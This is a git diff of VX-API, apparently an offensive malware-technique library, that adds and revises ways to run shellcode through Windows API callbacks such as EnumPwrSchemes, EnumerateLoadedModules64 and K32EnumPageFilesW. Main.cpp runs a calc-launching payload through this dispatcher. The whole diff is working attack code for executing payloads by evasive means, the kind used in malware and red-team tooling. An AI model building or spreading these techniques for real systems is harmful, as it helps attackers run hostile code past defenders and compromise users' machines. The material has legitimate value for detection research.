diff --git a/README.md b/README.md index 3d346e4..4d04a1b 100644 --- a/README.md +++ b/README.md @@ -3,7 +3,7 @@ managed by [vx-underground](https://vx-underground.org) | follow us on [Twitter] # VX-API -Version: 2.0.310 +Version: 2.0.313 Developer: smelly__vx diff --git a/VX-API/Main.cpp b/VX-API/Main.cpp index 95574a4..123134e 100644 --- a/VX-API/Main.cpp +++ b/VX-API/Main.cpp @@ -45,7 +45,7 @@ int main(VOID) SHELLCODE_EXECUTION_INFORMATION Sei = { 0 }; Sei.Payload = GlobalOpenCalcPayload; Sei.dwLengthOfPayloadInBytes = 277; - Sei.MethodEnum = E_ENUMDIRTREEW; + Sei.MethodEnum = E_ENUMPWRSCHEMES; ShellcodeExecutionViaFunctionCallbackMain(&Sei); //MpfComMonitorChromeSessionOnce(); diff --git a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp index 749c89e..342d3ca 100644 --- a/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp +++ b/VX-API/ShellcodeExecutionViaFunctionCallbackMain.cpp @@ -18,64 +18,43 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) case E_CDEFFOLDERMENU_CREATE2: { IContextMenu* ContextMenuRequired = NULL; - - if (!SUCCEEDED(CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, (LPFNDFMCALLBACK)BinAddress, 0, NULL, &ContextMenuRequired))) - goto EXIT_ROUTINE; - + CDefFolderMenu_Create2(NULL, NULL, 0, NULL, NULL, (LPFNDFMCALLBACK)BinAddress, 0, NULL, &ContextMenuRequired); break; } case E_CERTENUMSYSTEMSTORE: { - if (!CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress)) - goto EXIT_ROUTINE; - + CertEnumSystemStore(CERT_SYSTEM_STORE_CURRENT_USER, NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE)BinAddress); break; } case E_CERTENUMSYSTEMSTORELOCATION: { - - if (CertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress)) - goto EXIT_ROUTINE; - + CertEnumSystemStoreLocation(NULL, NULL, (PFN_CERT_ENUM_SYSTEM_STORE_LOCATION)BinAddress); break; } - case E_CERTFINDCHAININSTORE: - { - goto EXIT_ROUTINE; - } - case E_ENUMCHILDWINDOWS: { - if (!EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL)) - goto EXIT_ROUTINE; - + EnumChildWindows(NULL, (WNDENUMPROC)BinAddress, NULL); break; } case E_ENUMDATEFORMATSW: { - if (!EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0)) - goto EXIT_ROUTINE; - + EnumDateFormatsW((DATEFMT_ENUMPROCW)BinAddress, LOCALE_SYSTEM_DEFAULT, 0); break; } case E_ENUMDESKTOPWINDOWS: { - if (!EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL)) - goto EXIT_ROUTINE; - + EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)BinAddress, NULL); break; } case E_ENUMDESKTOPSW: { - if (!EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL)) - goto EXIT_ROUTINE; - + EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)BinAddress, NULL); break; } @@ -95,9 +74,7 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) case E_ENUMDISPLAYMONITORS: { - if (!EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)BinAddress, NULL)) - goto EXIT_ROUTINE; - + EnumDisplayMonitors(NULL, NULL, (MONITORENUMPROC)BinAddress, NULL); break; } @@ -106,9 +83,7 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) LOGFONTW Font = { 0 }; Font.lfCharSet = DEFAULT_CHARSET; - if (!EnumFontFamiliesExW(GetDC(NULL), &Font, (FONTENUMPROCW)BinAddress, NULL, NULL)) - goto EXIT_ROUTINE; - + EnumFontFamiliesExW(GetDC(NULL), &Font, (FONTENUMPROCW)BinAddress, NULL, NULL); break; } @@ -118,11 +93,6 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) break; } - case E_ENUMICMPROFILESW: - { - goto EXIT_ROUTINE; - } - case E_ENUMLANGUAGEGROUPLOCALESW: { EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)BinAddress, LGRPID_ARABIC, 0, 0); @@ -138,11 +108,6 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) break; } - case E_ENUMPROPSEXW: - { - goto EXIT_ROUTINE; - } - case E_ENUMRESOURCETYPESEXW: { EnumResourceTypesExW(NULL, (ENUMRESTYPEPROCW)BinAddress, NULL, RESOURCE_ENUM_VALIDATE, NULL); @@ -203,11 +168,6 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) break; } - case E_ENUMPROPSW: - { - goto EXIT_ROUTINE; - } - case E_MESSAGEBOXINDIRECT: { MSGBOXPARAMS MessageBoxParams = { 0 }; @@ -221,10 +181,24 @@ DWORD ShellcodeExecutionDispatchHandler(LPVOID Param) break; } - case E_PERFSTARTPROVIDEREX: + case E_ENUMERATELOADEDMODULES: { - goto EXIT_ROUTINE; + EnumerateLoadedModules64(InlineGetCurrentProcess, (PENUMLOADED_MODULES_CALLBACK)BinAddress, NULL); + break; } + + case E_ENUMPAGEFILESW: + { + K32EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)BinAddress, NULL); + break; + } + + case E_ENUMPWRSCHEMES: + { + EnumPwrSchemes((PWRSCHEMESENUMPROC)BinAddress, NULL); + break; + } + default: goto EXIT_ROUTINE; diff --git a/VX-API/Win32Helper.h b/VX-API/Win32Helper.h index 8533600..ca3ce39 100644 --- a/VX-API/Win32Helper.h +++ b/VX-API/Win32Helper.h @@ -8,11 +8,14 @@ #include #include #include +#include +#include #pragma comment(lib, "Crypt32.lib") #pragma comment(lib, "Dbghelp.lib") #pragma comment(lib, "Wtsapi32.lib") #pragma comment(lib, "Urlmon.lib") +#pragma comment(lib, "PowrProf.lib") #ifndef NT_SUCCESS #define NT_SUCCESS(x) ((x)>=0) @@ -45,7 +48,7 @@ typedef enum SHELLCODE_EXECUTION_METHOD { E_CDEFFOLDERMENU_CREATE2 = 1, E_CERTENUMSYSTEMSTORE, //2 E_CERTENUMSYSTEMSTORELOCATION, //3 - E_CERTFINDCHAININSTORE, //4 NOT IMPLEMENTED! + E_CERTFINDCHAININSTORE, //4 UNSTABLE, FAILS E_ENUMCHILDWINDOWS, //5 E_ENUMDATEFORMATSW, //6 E_ENUMDESKTOPWINDOWS, //7 @@ -54,7 +57,7 @@ typedef enum SHELLCODE_EXECUTION_METHOD { E_ENUMDISPLAYMONITORS, //10 E_ENUMFONTFAMILIESEXW, //11 E_ENUMFONTSW, //12 - E_ENUMICMPROFILESW, //13 NOT IMPLEMENTED! + E_ENUMICMPROFILESW, //13 UNSTABLE, FAILS E_ENUMLANGUAGEGROUPLOCALESW, //14 E_ENUMOBJECTS, //15 E_ENUMPROPSEXW, //16 NOT IMPLEMENTED! @@ -68,9 +71,13 @@ typedef enum SHELLCODE_EXECUTION_METHOD { E_ENUMUILANGUAGESW, //23 E_ENUMWINDOWSTATIONSW, //24 E_ENUMWINDOWS, //25 - E_ENUMPROPSW, //26 NOT IMPLEMENTED! - E_MESSAGEBOXINDIRECT, //27 UNSTABLE - E_PERFSTARTPROVIDEREX //28 NOT IMPLEMENTED! + E_ENUMPROPSW, //26 UNSTABLE, FAILS + E_MESSAGEBOXINDIRECT, //27 UNSTABLE, FAILS + E_PERFSTARTPROVIDEREX, //28 UNSTABLE, FAILS + E_MINIDUMPWRITEDUMP, //29 UNSTABLE, FAILS + E_ENUMERATELOADEDMODULES, //30 + E_ENUMPAGEFILESW, //31 + E_ENUMPWRSCHEMES //32 }SHELLCODE_EXECUTION_METHOD, *PSHELLCODE_EXECUTION_METHOD; typedef struct __SHELLCODE_EXECUTION_INFORMATION {